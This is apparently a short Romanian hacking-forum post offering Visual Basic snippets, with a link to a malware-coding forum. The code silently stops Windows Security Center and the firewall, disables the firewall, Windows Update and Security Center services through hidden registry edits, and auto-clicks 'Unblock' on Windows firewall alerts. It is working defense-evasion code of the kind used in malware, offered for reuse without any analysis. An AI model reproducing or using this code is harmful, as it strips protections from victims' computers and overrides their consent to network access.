[vb] mai simplu , scris de who Shell("cmd.exe /c net stop " & Chr(34) & "Security Center" & Chr(34), vbHide) Shell("cmd.exe /c net stop SharedAccess", vbHide) Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\SharedAcce ss" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide) Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wuause rv" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide) Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc " & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide) http://www.opensc.ws/vb-unsorted/3795-add-startup-all-windows-version.html traducerea in vb : Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function SendMessageSTRING Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long Private Const WM_CLICK = &HF5 Dim FirewallWindow As Long Dim UnlockButton As Long FirewallWindow = FindWindow(vbNullString, "Windows Security Alert") If FirewallWindow <> 0 Then UnlockButton = FindWindowEx(FirewallWindow, 0, "Button", "&Unblock") SendMessageSTRING UnlockButton, WM_CLICK, 0, 0 End If